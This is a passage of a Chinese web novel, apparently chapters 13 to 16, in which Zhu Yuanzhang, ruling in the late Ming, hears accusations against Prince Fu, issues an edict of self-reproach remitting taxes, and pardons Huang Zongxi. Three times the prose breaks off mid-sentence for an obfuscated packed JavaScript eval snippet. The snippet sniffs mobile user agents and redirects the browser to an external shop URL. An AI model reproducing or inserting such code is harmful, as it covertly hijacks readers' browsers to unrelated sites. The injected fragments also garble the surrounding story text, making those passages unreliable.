在朱元璋的授意下,王承恩已经早早地将福王府的官员、仆人、杂役、女眷、乐伎等全都被集中到一起内堂。有的人甚至拿着箜篌、琵琶之类,身上环佩叮当的。 等人到齐,朱元璋扫视一圈:“你们都是福王府里的人,平日里最接近福王。今天,朕就在这里设案,你们经历的、看见的、风闻的福王之事,都可以说出来,由朕做主。” 一片寂静。 福王绷着一张脸,来来回回地扫视王府中的宫人们,面露凶光。 安静了好一会儿的周王颤颤巍巍地捋了捋胡子:“陛下,我知道你很生气,不过根据太.祖皇帝的祖训,应当先由诸皇亲商议出一个基础结果后,再经由您裁定……” 在朱元璋的目光中,周王的声音越来越小,最终,他彻底屏息,不说话了。 “第一个检举福王的,赏银五十两。”朱元璋 人群微微躁动,有些人开始左右对眼神。 不一会儿,第一个人站了出来。 “陛下。”一个身材瘦小的婢女鼓起勇气走了出来,“民女要检举!” “很好。”朱元璋赞许地点点头,“你叫什么名字?” “回陛下,民女姓费,名叫小娥。”她声音颤抖。 因为过于紧张,她的喉咙发紧,细细的嗓音在寂静的内堂回荡:“民居要检举,王府经常强行向洛阳百姓借贷。在我们不需要的情况下,强迫他们向王府借钱,然后要求高利返还,如若换不起,就从百姓家里强抢值钱的东西,民女就是这样被抢来的。” “王府里的长史硬把钱塞给我那做生意的阿爹,没过几天,就要求双倍返还借款,阿爹还不起,长史就将民女强行掠走,供福王取乐。” “福王厌弃了民女,民女又未能有孕,于是就被随意打发去做洗衣妇。” 小娥伸出一双粗粝而苍老的手,上面遍布冻疮,与她的二十啷当岁的面容明显不符。 “殿下后院里的人数不胜数,民女甚至都做不了殿下的姬妾。”她的声音在发抖。 “可民女本是良家子!”说到这里,她的声音都带上了哭腔与愤怒,“被迫与父母分别,再无联系,甚至在官府文书上,都成了民女父母自愿将民女卖到这里。” 听到这里,福王暴跳如雷:“胡说!长史向我汇报过,明明就是她父母把她卖给我的!她就是仗着父母已不在人世,死无对证罢了!” 小娥呆呆地看着福王:“阿爹阿娘,已经死了……?” 福王也愣住了,他开始结巴:“你、你真是好会演,我真是看错了你,你这贱妇!” 他冲上去就要打小娥,走一步地面就咚咚响,一旁的翊戎卫立即将他拦下了。 小娥被福王凶狠的目光吓了一哆嗦。这样做真的对吗?她的心头直打鼓。 福王是皇亲国戚,更是当今圣上的叔叔,就算圣上要处置他,也没见那些贵人向一个低等杂役问话的。 她这算不算揭发了皇室丑闻?若是圣上反悔,想让整件事情死无对证,到时候要找个由头把她神不知鬼不觉弄死,也是易如反掌。 她一个平民,无论是在场的谁,就算是王府的长史,捏死她都像捏死一只蚂蚁般容易。 想到这里,小娥开始冒冷汗,但事情已经由不得她了。 有了小娥打头阵,胆子大的人也多了,朱元璋耐心地一件一件听完,让王承恩全部记了下来。就算福王在一旁把牙齿咬得咯咯响,也没能成功阻拦。 等天都要黑了,朱元璋终于叫停,此时,福王已经几乎瘫软在地上。 一开始,他以为新君不过是为了立威,左右不过罚个几年俸禄,可几个时辰也不见他停下来。 福王终于意识到,这个他看不大起的小侄子似乎是来真的。 · 跟随朱元璋一起来河南的,刑部有一个侍郎、三个郎中,大理寺来了个左副御史,司礼监有曹化淳,朱元璋把福王的案子交给他们,吩咐他们从明天起,在福王府的门口设鸣冤桌,听取洛阳百姓告福王的状。 “朕是为了福王好,照他继续那样下去,真的被做成福禄宴也未可知。”朱元璋这么对曹化淳说。 曹化淳似乎是也仍然对天幕上说的话心有余悸:“是,陛下圣明。” “另外,唐王一事,也遣翊戎卫去南阳府一并查了,把那个叫朱聿键的,还有他父亲一起带到洛阳来。”朱元璋嘱咐。 “崇王与潞王都只有二十岁左右,今天也没怎么说话。我之前派人调查过,潞王喜爱书画,崇王则因为遗腹子的身份,折腾内务折腾了不少时间,人听着还算正常,暂时先不要动,避免引起宗室恐慌。” “至于周王……先不处理,他是个会看眼色的,先等他动作。” “是。”曹化淳一一应下。 朱元璋把杂七杂八的活安排完,终于想起来要吃晚饭。 前往福王府的承运殿一看,那儿已经备好了丰盛的佳肴,因为朱元璋要来,所以是按照国宴的标准做的。 油酥、清蒸鸡、椒醋鹅、鲊鱼、三鲜汤、青梅……看着面前令人眼花缭乱的茶食,朱元璋深吸一口气:“把福王府里的人都叫过来,这些菜都赏给他们了。” 王承恩讶然:“那陛下吃什么?” 朱元璋闻着菜肴的香气,想起他行走军营的时候,只觉得口舌生津:“给我弄个烧饼夹羊肉沫来吧,要热的,再来碗胡辣汤。” “是。”王承恩应了一声,吩咐去备菜了。 朱元璋回到书房,朱由检从他的肩膀滑到了椅子扶手上:“小娥是个好姑娘,你问问她之后有什么打算。” “嗯。”朱元璋想了想,叫来王承恩,“把小娥叫来,还有五十两银子给她准备好。” 等小娥来了,朱元璋开口问:“你可有去处?” “民女还未想好。”小娥垂着头。 刚过二十的年轻姑娘,得知父母死亡的消息,显得格外不知所措。 她的语气听起来十分失落:“民女已无父母双亲,阿姊已经嫁人,其他族亲和爹娘一样,都不富裕,且关系较远,民女不愿再增加他们的负担。” 朱元璋尽量使自己看起来和颜悦色一些,还好朱由检的脸足够迷惑人:“去宫里做宫女,如何?待你留了几年,可以攒下一笔钱,放出宫去。若不愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083888|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我便让宗人府给你挑个好人家嫁了,也是一条路。” 小娥默了一会儿,像是下定了决心:“陛下,民女不想嫁人,也不想做宫女。不知道民女能否做宫里的女官?” “做女官?”朱元璋微微讶异,“你会读书写字么?” “是。”小娥点头,“民女认得几个字,阿姊教过我。” “女官出宫时间要比宫女晚得多,很可能一辈子就在宫中了,你也愿意?” 小娥肃然:“民女现在已经无家可归,留在河南恐怕被报复,希望能够远离家乡。” 她用力一顿首:“既然已经无牵无挂,民女愿在宫中做一个女官,为陛下效力,直到我死去。” “好,若你想好了,那就去做女官吧。”朱元璋沉吟片刻,提起笔开始写手谕,大意就是眼前这个叫小娥的姑娘,皇帝特批做女官,请皇后考校后看着安排。 因为女官对年龄的要求是未婚女子在19岁以下,如果是寡妇,那么在30到40岁之间,小娥都不满足,所以朱元璋要给她写个特批手谕。 女官这个制度,在应用之初,其实是为了制约外戚。 不过朱元璋在大略翻看他死后历史的时候,发现这种期待并没有起到相应的作用,甚至大部分权力被太监取而代之。 当然,外戚里也没什么能干预朝政的人出现就是了。 写到小娥的名字时,朱元璋道:“贞,正也。你今日十分勇敢,第一个来检举福王罪行,给你在名字里加一个‘贞’字,叫费贞娥,如何?” 有了皇帝赐名,就算没有门路,这孩子在宫中也不会过得太坏。 费贞娥激动得脸蛋通红,大声道:“臣谢陛下赐名!” 这就自称上臣了?朱元璋失笑。 “为了及时了解朝中情况,京师与洛阳每天都有翊戎卫出发或返回,今天那批从洛阳出发的,过一个时辰就走了,你回去收拾收拾东西,和他们一起去京城吧。”朱元璋挥了挥手,示意她可以走了。 费贞娥的脸蛋红扑扑的,磕了三个响头才兴高采烈地离开,走了以后还不忘在门外大声喊一些“谢主隆恩”“天恩浩荡”之类的话。 也不知道是从哪个话本里学来的。 朱元璋的心情似乎畅快了一些。 “你看起来有点高兴。”朱由检说。 “她有一种向上生长的劲头,让我想起了种地时候的阿姊。”朱元璋回答。 那时候,朱元璋刚出生不久,由二姊背着,在庄稼地里长大。 为了交上地租,所有家人都在努力种地、做帮佣。 因为年幼,他对那段时间的印象已经不算太深,只记得自己环住二姊的脖颈,从背后看她的侧脸,也是这样带着灼热的黑里透红。 那是被旱灾时的太阳晒的。 ……自从他还魂以来,天幕上说出来的一桩桩一件件事情,都让他觉得无比羞愧与痛苦,元朝末年的情景夜夜在他的梦中重现。 民间是否已经变成了了元末时的样子?那一封封奏报是不是在宽慰或者欺瞒他?大厦将倾,他是不是在做无用功?他在建国之初所做的规划,是否错漏百出,所以才导致子孙后代把江山变成了这副样子? 这些问题折磨着朱元璋,他不停地用工作来麻痹自己,仿佛这样可以稍稍减轻他的不安。 但这份不安,对比民间的痛苦,又实在是太轻微了,他不过是内心倍受煎熬而已!而与他爹娘一样面朝黄土背朝天的百姓们,是真的在流离失所,在生存的边缘苦苦挣扎。 可是,看到费贞娥,看到她的激动与憧憬,让朱元璋觉得,至少他能让一部分人变好,至少他的努力不是一无是处,这个国家似乎还有救。 正当朱元璋想得出神的时候,远处传来吵吵嚷嚷的欢呼。 没持续多久,似乎是被训斥了,欢呼声低下去了许多,但很快,又是叽叽喳喳的闲聊声混成一片,若隐若现。 朱元璋侧耳听了一会儿,分辨出那是福王府的仆役们,他们应该是吃上了早已准备的佳肴,所以热闹极了。 朱元璋长舒一口气。 只要活着就有希望,所以就算再艰难,他们都竭尽全力忍耐,穷尽智慧与勇气把日子过下去。 就像当年的他一样。 就这样前进吧,朱元璋,一步接一步,你所做的一切,他们会看见。 “备好笔墨。”他吩咐道,“朕要下罪己诏。” 14. 第 14 章 “为何要下罪己诏?”朱由检相当惊讶。 在他看来,现在还远远不到下罪己诏的时候。 “既是罪己诏,也是接下来的工作安排。”朱元璋撩起袖子,亲手开始磨墨。 “天幕出现一直到现在,我要对这件事情作出一个完整的解释,同时也向天下百姓表个态。” “民心是非常重要的,如果不得民心,政令就无法推行下去。” 他研好墨,长舒一口气。 先是一些发自内心的套话,也对天幕定下基调:“我以微薄的德行继位,在位不到两个月,上天已经让天幕出现两次,来批评我的德行,考验我治理国家的能力与心性。” ——我才继位一个多月,明眼人都知道,前面那堆烂摊子和我没有一点关系。意思意思批评下虚无缥缈的德行就可以了,再多就是蹬鼻子上脸了。 “天幕中说的事情,有些已经发生,有些还没有,说明这并不是注定的天命,而只是上天在为大明推演未来的一种可能性。天灾无法逃避,但人祸却可以改变。” ——大家得齐心协力,才能避免出现天幕里的结局,不然就一起完蛋。 “得知藩王们做出鱼肉百姓的事情,我感到痛心不已。我是一国之君,也是皇室的大家长,没有管理好宗室是我身为君父的责任。” ——藩王们,老实点,你爹来了。 “在这里,我也要痛心疾首地敬告各位藩王,你们受到百姓供养,在国家危急存亡的时刻,也要为百姓着想和考虑,对待百姓像对待自己的亲人一样。不要因为吝惜眼前的小小利益,而像天幕中那样把命丢了。” ——福王的下场你们都看到了,体验一下试试? “为了让各位藩王得到更好的教化,我决定重新重用太.祖时期的宗人府,来加强对宗室子弟的教育和约束工作。” ——接下来,他只交给宗人府一件事,就是问藩王要钱! 这个由他设立、但被边缘化许久的部门,也该好好用起来了。 在看过福王与周王的财富后,他已经对藩王的富有水平有了基本的了解。 朱元璋希望宗室们能过得舒适,但他不允许这样的舒适建立在百姓的痛苦上。 “我将带头勤俭节约,为国家未来的开支做好准备,希望天下人都向我学习。” ——我将变得很抠门,不仅抠自己,也抠别人,大家要有心理准备。 “……”接下来则是一些具体的措施,例如允许所有宗室自谋生路,给宗室子弟安排统一学堂和考试,考过了有补贴拿,等等。 削藩不宜太激进,这一点朱允炆已经践行过了。 不过,现在的藩王已经没有兵权,又被天幕连揭穿带恐吓了一番,抵抗意愿和能力大大下降。 罪己诏里不宜写得太过详细,只要定下大略的方向即可。 接下来是对内乱之人的处置。 “流寇原本是我的子民,都是因为我德行不足,所以才没有及时改正。[1]” ——在这封罪己诏发出之前谋反的,我认了是我不对,早点投降,不再追究。 “现在当务之急,是全面恢复农业生产,兴修水利,降低旱灾对于百姓的影响。” ——这是我的重点。 这也是朱元璋仔细思考过后的决定。 山海关外,后金势力虎视眈眈,但目前还不能和后金硬碰硬。 国家内乱还没有平定,后勤补给跟不上,士兵的士气也不高昂,真的要打就太艰难了。 所以目前对于后金的策略,是积极防守。 当然,这一点不用写到罪己诏里。 “这两年里,我将定下与民休息的策略,我会丈量土地,去除隐田,免除天下赋税!” “之前没收上来的税,以及未来两年的税,全部都免除,不需要交任何钱粮。” “但这是有条件的,条件就是红薯。为了应对旱灾,我下定决心推广红薯等农作物,只要百姓在官吏收税的时候能拿出一个红薯,就免除所有赋税。同时以工代赈,任用当地的老百姓来进行修水渠、挖井、疏通河道等水利程,并发工钱和粮食。” “如果你有红薯,但是又有人问你要赋税,那么你可以拿着红薯进京告状,任何人不得阻拦。” 罪己诏进行到这里,朱由检不由吐槽:“真是颇有太.祖遗风。” 朱元璋莫名其妙:“话怎么能这么说?我就是你太.祖爷啊!” 朱由检无语凝噎。和不懂幽默的人真是没话讲! 他埋头看了一会儿,用半透明的衣袖在那行“免除天下两年赋税”上点了点,疑惑道: “我们当时讨论的不是免除农税吗?而且连着商税一起免除,到国库里的钱会不会太少了?” 他记得,当时太.祖爷说的是要先提出一个过分的要求,也就是免除两年赋税,然后再和百官拉扯讲价,最后商讨出免除两年农业税、追缴商业税的办法,最后落实。 朱元璋吹了吹未干的墨迹:“因为听完天幕的话,我意识到,免除农税的政策不会真正落实下去。你看天幕上说的,藩王收税都有许多可以巧立名目的方式,比我那时候的只有火耗等三两个方法要多得多,那些官吏、地主的办法只会更多。” “只有告诉天下百姓,君主立下誓言,朝廷在这两年时间里不会收他们的一角钱,才能尽最大可能遏制住对普通百姓的税赋。” “为了能够做到这一点,在明面上去除所有赋税是必须的。否则,就需要任用大批的官员去监督‘不收农税’这个策略的实行,耗费人力太多,反而得不偿失。” “对于当地的父母官,我有更重要的任务交给他们。”朱元璋从一旁的奏折堆里摸出了已经边角翘起的一本,翻开。 朱由检努力挪到这篇奏疏上,看清了它的标题。 《农政初论》,作者徐光启。 朱元璋抚平奏疏的折痕:“我起复徐光启的时候,他告诉我,被阉党报复贬谪期间,他一直在编写一部书,名字叫做《农政全书》,不过现在还没有写好。” “但是,他已经在天津尝试过了一种叫做‘区田法’的种植方式,来应对旱灾,我想将这个办法推广开来。” “区田法?那是什么?”朱由检的好奇心一下子就提了起来。 “就是把土地挖成一个个深坑。”朱元璋比划了一下,“把肥料集中堆在坑里,种子种在坑底,这样能够最大程度地留住水分。我最近也在要求京营的士兵这么尝试。” “天幕说自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095949|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己来自后世,不知道后世之人是如何解决干旱问题的。”朱由检的思维飘逸了一下。 如果很久很久以后的未来,能够做到让江南丰沛的雨水出现在陕西皲裂的土地上,就好了。 或者,把海水变成能够浇灌土地、能够喝下去的水? 朱元璋想象了一下,诚实地说:“不知道。” “不过,我们吸取前人的教训,来制定如今的方略,而我们积累的经验,也能够为后世所用,这就够了。” 罪己诏一出,天下哗然。 百官:谁给他发出去的?!内阁干什么吃的?怎么不封还?? 哦,原来皇帝把内阁全裁了啊,那没事了。 有许多官老爷是不大满意的。众所周知,在明朝,当官的是免税的,所以有不少家里没官的农人,就会把自家的地挂靠到官爷家里。 皇帝你把全天下的税都免了,怎么体现当官之人的高贵呢? 但是鉴于皇帝只对自己的亲戚开刀,作为高级官员,损失虽然有,但他们捞钱的地方多了去了,最近夹起尾巴做人,多观望一会儿,少捞点,等着风头过去就是了。 再加上阉党的案子还没办完,万一自己激烈反对,一口气全部被定性成阉党,那可真是哭都没地方哭去。 因此,这封没有经过任何官员同意的罪己诏,竟然就这么一路畅通地发了下去。 百姓:!!! 之前朱元璋的种种行为,其实让百姓有点不知所措。 天幕当中说,崇祯帝花了四个月时间。就让阉党倒台了。 但天幕的出现,似乎并没有加快帝王推翻阉党的速度。 反而直到现在,魏忠贤的下场还没有一个清楚的结论,甚至有传言说他跑到了江南。 这样一来,再结合新君想要去往江南的举动,这个消息就非常值得商榷了。 但是这封罪己诏一出,什么都不用管了! 什么阉党、东林党,管它什么东西,大家的眼里只有免税这两个字。 不是困难的地方免税,不是象征性的免税又加回来,而是全境之内,两年免交任何税!只要你有红薯、或者其他官方推行的农作物。 这还能说啥呢?什么?传言说红薯挪个地方就种不好?哎呀,这种说法都不用验证就知道,肯定是谣言!妥妥的谣言! 随着这封罪己诏如同蒲公英的种子一般扩散,民间悄悄兴起了一种传闻。 听说和天幕一起来的,是他们的太.祖皇帝,是那个一手推翻了残暴的元朝,建立起新秩序的洪武大帝。你看这下达的诏令,和洪武时期一模一样呢! · 写完罪己诏的这一夜,朱元璋睡得很沉、很沉,以至于第二天清晨醒来的时候,他的头还疼着。 他左右摇晃摇晃脑袋,让自己变得更加清醒一点。 “陛下,京城那边,刑部送过来一个罪人。”王承恩一边为朱元璋穿衣,一边提起。 “什么罪人?”朱元璋皱了皱眉,“刑部最近在审的不就是阉党的案子?人证物证都很完备,怎么还把罪人送到河南来?” 王承恩卡壳了一下,很快又恢复自然:“正是因为如此,所以才要请陛下决断,因为送过来的罪人,正是指认阉党罪行的人证。” 15. 第 15 章 一个穿着布衣的男青年被带了上来,他身材高大,眉目倒是清秀端庄,面容看着比朱由检大不了几岁。 “这是黄尊素之子,黄宗羲。”一旁的青袍官员介绍。 黄尊素这个名字有点耳熟,仿佛在哪里听过。 朱由检在一旁提醒:“东林党的人,在和阉党交锋过程中,被阉党的五彪之一,名叫许显纯的那个囚在诏狱里,用烧热的烙铁烫皮肤、把铁钉从他的太阳穴打进去……” 当真是惨死。 朱元璋听到这话,立即对眼前的少男多了几分同情。 “他是犯了什么事?”他问底下的青袍官员。 青袍官员是刑部的贵州司郎中,名叫陈扬美。看来刑部从忙碌的审讯中挤出人手,专门派了个分管司长过来,为朱元璋描述当时的情景。 陈扬美开口道:“在审讯阉党五彪之一的许显纯的时候,许显纯不断狡辩,作为人证的黄尊素拿出钉子,把许显纯用钉子戳出十几个血窟窿。被人夺下钉子之后,又对着许显纯的太阳穴猛击,许显纯奄奄一息,过了大约半刻钟就死了。” 他稍作犹豫,又补充道: “按照大明律,长辈被殴,孩子还手的,应当减轻处罚,但如果到了死人的地步,就应当按律法判斩或绞。 “只是,鉴于作案动机,会酌情考虑减轻处罚。” 朱元璋点点头,这是他自己定的法律,他不能更清楚了。 不过,堂下的年轻人虽然被缚着,但脖子高高地扬着,仿佛很不服气的样子。 “黄宗羲,你也听到了,打人致死应当偿命。对于在庭审时打死许显纯一事,你可后悔么?”朱元璋问。 黄宗羲听到自己被点名,更加精神了。 他的声音特别大,仿佛想通过这样的方式证明自己的决心一般,嗓门几乎破了音: “我后悔,但我不是后悔杀了他,而是后后后后后悔没有让他受受受受受尽我阿父受过的所有折磨!他死得太轻轻轻轻轻易了![1]” 说完,他就摆出了一副视死如归的模样,大有引颈就戮之意,但就算隔得那么远,朱元璋也能看到他的脸已经涨红了。 朱元璋左右看看,在场的人都一脸严肃,好似泥菩萨一般,半分表情也没有。 不是,他刚刚口吃了你们没听见吗?! 朱元璋轻咳一声: “你是为父亲报仇?许显纯必死无疑,何必脏了自己的手。擅用私刑,处罚可不轻。” 听到帝王的语气比较平缓,在场的人明显都偷偷松了一口气。 朱元璋看在眼里,心知他们都认同黄宗羲的举动。 黄宗羲用力吞咽一下,似乎在努力平复心情,扯着他的破锣嗓子回应: “阉党当年追捕阿父,不得民心,被百姓在苏州聚众殴打,阿父听闻后,不愿牵连百姓,主动穿上囚服,自投诏狱。” 说到这里,黄宗羲的声音哽咽了起来。 “而许显纯这个狗贼,却对我阿父百般折磨,导致他的尸骸完全不成人形!我阿母痛苦不已,每天向北祷告,愿以身代之。那时候草民就许下誓言,我必定手刃此獠,否则就就就就就就就!” 他诡异地停顿了一下,还是硬着头皮说完了:“就叫五雷轰顶,尸骨无存!” 朱元璋笑:“你现在愿望达成了,可按照大明律,你也要死了,值得吗?” 黄宗羲视死如归:“当然值得!但在就死之前,请陛下听我一言。” 朱元璋挑了挑眉:“你说,朕听着。” 黄宗羲:“阉党之祸,根基在天子。” 一旁的陈扬美立刻踹了他一脚,但黄宗羲没收住,冒出一句惊雷般的话语: “而天下最大的祸害,就是君王![2]” 陈扬美一下子把黄宗羲的头摁到了地上,与地板相撞,发出一记响亮的声音:“陛下,他脑子有问题,你看他的行为举止就知道了,阉党把他刺激得不轻,他说出来的话不能作数啊!” 朱元璋却被提起了一点好奇心:“无妨,放开他,让他展开讲讲。” 黄宗羲抬起头来,额头已经红了一片: “天下为主,君为客。也就是说百姓才是这个天下的主人,而国君的毕生经营都应该为天下人服务。朝廷招贤纳士,也都应当是为了百姓服务。” 喔,看来口吃并不严重,只是情绪过于激动的时候会出现。 “陛下如今对阉党首恶的处置缓慢,也都不像天幕里说的那般干脆利落,可是要走先帝的老路么?” 朱元璋笑了一声。 一旁的翊戎卫悚然,已经做好了一会儿行刑时看到人头落地的场景。 谁料,朱元璋只是挥挥手:“给他解开,你可以走了。” 黄宗羲愣住了,他似乎没有想到自己在说出如此惊世骇俗、大逆不道的言论以后,竟然能够直接被松绑。 他疑惑地直起身,还是忍不住问:“陛下,草民言行无状,草民知罪,只是……” “只是什么?为何不将你就地处刑?”朱元璋笑笑,“你还年轻,不必学那些老家伙们死谏。若有心为国效力,就老老实实进士登科,我看你相貌,也当得个探花郎。” 黄宗羲噎住,他听出来这是个玩笑话,自古以来可从来没听说过结巴也能当探花。 朱元璋倒是真的不甚在意,还有心情点评两句:“你的理论挺有意思的,但并不适宜传播。如今国家内忧外患,需要有名有姓的君主坐镇,哪怕只是一个又高又远的形象,也好过国家没有君主。否则百姓的情绪无处寄托,就失去了希望,民心涣散,就容易生出事端。 “我本来也不打算治你的罪,许显纯本来就是个王八蛋,你杀的挺好,他就是该杀。你年轻气盛,我也能理解,杀就杀了,还能治你的罪吗?那多不像样子。” 说着说着,朱元璋想到了一个好主意: “这样吧,我给你找个师父。当今礼部尚书徐光启年纪大,管的东西又多,身边正需要人手。他这个人比较务实,你就跟着他做些杂活儿,帮他跑跑腿,也磨一磨你的性子,怎么样?” 徐光启?这个名字黄宗羲听说过。 他似乎之前和一个叫利玛窦的西洋神父打得火热,最近被起复,风评毁誉参半,但主要集中在他似乎信奉什么天主教上面。 黄宗羲对他有些许好奇,犹豫片刻就答应了下来。 接着,朱元璋又叮嘱:“你之后留在京城,记得知会你阿母一声,或者把她一起接来,你失了阿父,你母亲也失了伴侣,你该好好宽慰她。 “之后一定不要再做出这样的举动,否则如果你也出了点什么意外,你阿母承受不起这样的打击。” 黄宗羲抽了抽鼻子,看上去有点可怜:“我阿母不一定愿意过来,我已经是家中老大了,家里还有四个弟弟,都和我一样,尚未及冠。她还在浙江老家做女师,应当放不下她的事业。[3]” “那也好,至少有事可做,其余没什么了,回去吧回去吧。”朱元璋做了个“去去去”的手势,示意他们可以走了。 走出内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103947|194252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂,陈扬美道:“你小子可走大运了,陛下今天的心情应该格外好。” “这与心情有什么关系?那是陛下贤明,有容人之量。”黄宗羲回味了一遍他与帝王的对话,不好意思地挠了挠头。 其实他已经做好了追随父亲而去的准备了,只是实在气不过。当初天启帝信任阉党,把朝政搞得一团乱麻,新君继位,态度却不甚明晰,他气愤不已,觉得俩兄弟是一路货色。 谁直到新君年轻归年轻,却给人一种长辈的感觉,威严中又有几分慈祥。 也难怪,坐上那个位置,就是天下的君父了。 说到这个,陈扬美止不住地生气:“你小子哪来那么多话?” 他是真的吓得魂都快没了。 黄宗羲的父亲是与阉党斗争而死,死得光明磊落,他很钦佩;黄宗羲作为儿子,对杀父仇人痛下杀手,尤其这杀父仇人还是臭名昭著的阉党,那就更好了。 明明事情到这里为止就好,他非要当着皇上的面多说几句! 幸好新君虽然年少,但相当明事理,又豁达大度。 想到这咯,陈扬美对皇帝多了几分敬意。 黄宗羲嘟囔:“我本以为……唉算了算了,陈大人,你还是给我讲讲那徐光启吧。” * “陛下,周王求见。”王承恩是忠实的秘书,走了一个就安排下一个。 朱元璋:“请他进来。” 周王一进来就行了个大礼,表现得相当虔诚: “陛下,经过我与王妃、世子的深思熟虑,我们决定将全部的财产拿出来,帮助大明度过这次难关。作为皇家宗室,这是我们义不容辞的责任。” 果然。 朱元璋就等着他来这么一下了。 从天幕的说法来看,周王就是一个相当识时务的人。 现在他已经看到福王正在被论罪,而他自己其实也不干净。 所以,在这个时候提前向皇帝卖个好,也不至于落到天幕里预示的人死财灭的下场。 至少作为第一个拿出如此诚意的藩王,皇帝一定会将他作为一个标杆,用以鼓励其他藩王有学有样。 周王在底下说的慷慨激昂,朱元璋在上首嗯嗯啊啊好好好。 接下来就仿佛是过年发压岁钱的场景了。 朱元璋:这钱我不能要,拿家中长辈的钱,像什么样子?没有这样的道理。 周王:这又不是给你的钱,是给老百姓和军队的,再苦也不能苦了他们。 朱元璋:这应该是我去头疼和发愁的事情,怎么能让叔叔你忧心呢?真是惭愧啊。 周王:大侄子,你就别推辞了,我还不知道国库的情况吗?你还刚发了罪己诏免税,我一定要大力支持。 二人彼此客气一番,最终定下周王拿出八成白银、农庄和粮食,出饷助兵,另外自请将五千二百顷农田归还给百姓,王府良田只留下三百顷,做一富家翁足矣。 朱元璋则正式任命周王担任宗人令,负责组织各个藩王的教化工作。 说到底就是给他一个全国巡回的理由。 周王勉强算得上满意,这笔钱出的他肉痛不已,但还算值得。 朱元璋相当满意,周王府中的八成银粮,再加上查抄主要阉党的家产所得,已经差不多能填满边疆所欠下的粮饷了。 剩下能拿到多少,都算是新的开始。 送走周王,朱元璋长舒一口气。 下一批要见的,是连夜赶往南阳唐王府的翊戎卫,以及他们带回来的人。 16. 第 16 章 翊戎卫确实在唐王府的承奉司里找到了朱聿键和他的父亲。 那时候,天幕已经披露了唐王府中那算不上秘密的秘密,府中一片惊惶,有人想趁此机会放人,有人想逃跑。 甚至,老唐王的第五子还想先下手为强,直接杀了朱聿键父子。 但因为老唐王的母亲魏太妃拿着尖刀在承奉司门口守了一夜,直言要死大家一起死,这件事情最终没成。 * 内堂。 一个二十余岁的年轻男子被带了上来,他就是朱聿键。 他的脸颊凹陷,身板消瘦,看上去畏首畏尾,手脚都不知道怎么放,神情惊慌失措,一眼就知道被折磨的不轻。 完全看不出来天幕里说的起兵勤王的心气。 年长一些的是朱聿键的父亲,他倒是好些,规规矩矩行了礼,他做一步,朱聿键跟着做一步。 直到朱元璋让他们坐下,父子二人的局促感才稍微消减了一些。 朱由检飘在朱元璋的前方,轻轻感叹:“是个可怜人。” 等他们行完礼,朱元璋合上了手中从京师递过来的奏折。 朱聿键是十分惶恐不安的。 在唐王府中,即便被囚禁着,他也看到了天幕上浮现的文字。 天幕上说,他起兵勤王,却被认定是造反,被发配去凤阳监狱,后来又成为南明政权的皇帝。 对于二十五岁的他来说,这一切都太过遥远,也太过虚无。 但眼前的困境是真实可见的,现在的帝王已经得知自己未来会起兵勤王、会称帝,他会如何处置自己? 他在过于弱小的位置上,被宣告了未来的强大,或者这种说一触即溃的强大,无疑是对现任帝王莫大的威胁。 什么起兵勤王,什么南明隆武帝,什么后世风评,他也要有命活到那个时候。 得知翊戎卫要带他去见皇帝,朱聿键满脑子都在想,不会立刻就被斩杀了吧? 在他并不长的一生中,有一多半的时间都被关在承奉司里面,饥饿耗费了他大量心神,还有一部分留给了读书。 想到这里,朱聿键悲从中来,觉得自己实在是太惨了!什么都没干,就要为莫须有的事情去死。 就在朱聿键提心吊胆之际,朱元璋终于开口,却是一点废话也没有,直接宣布了唐王一家的结局。 “老唐王朱硕熿残害子孙,人证物证齐备,废为庶人。他本人、他的妾和第五子一起赶出唐王府,不得接回。 “老唐王之子朱器墭接任唐王。小吏张书堂保护唐王父子有功,升为唐王府典宝所正八品典宝正。老唐王之母魏太妃,赐彩缎二十匹、蜀锦二十匹、玉如意等摆件六对。” 说实话,对于魏太妃的封赏,朱元璋曾短暂犹豫过。 按理来说,女子有功,多封赏其父兄。但天幕上的话,让他开始重新考虑这个问题。 女子有功,就应当封赏其父兄吗? 他记得洪武五年的时候,贵州普定府的女总管适尔和她弟弟一起入朝觐见,因为适尔在当地的认可度更高、更有能力,最终他选择了适尔做知府。[1] 再加上,他调到京城的秦良玉就是女子之身,打仗练兵却相当在行,谁也不能否认她的真才实学和累累功绩,他看了很是赞赏,而且之前的朝廷也直接给她封官了。 朱元璋还没有弄清楚这个问题,所以这次他直接给魏太妃物质奖励。给钱总没错,其他的就先不考虑了。 “至于朱聿键……” 朱聿键心一下子就提了起来。 朱元璋一点也没停顿,明显是早就想好了处理结果:“袭封唐王世子,暂且留在洛阳,协办福王一案。” 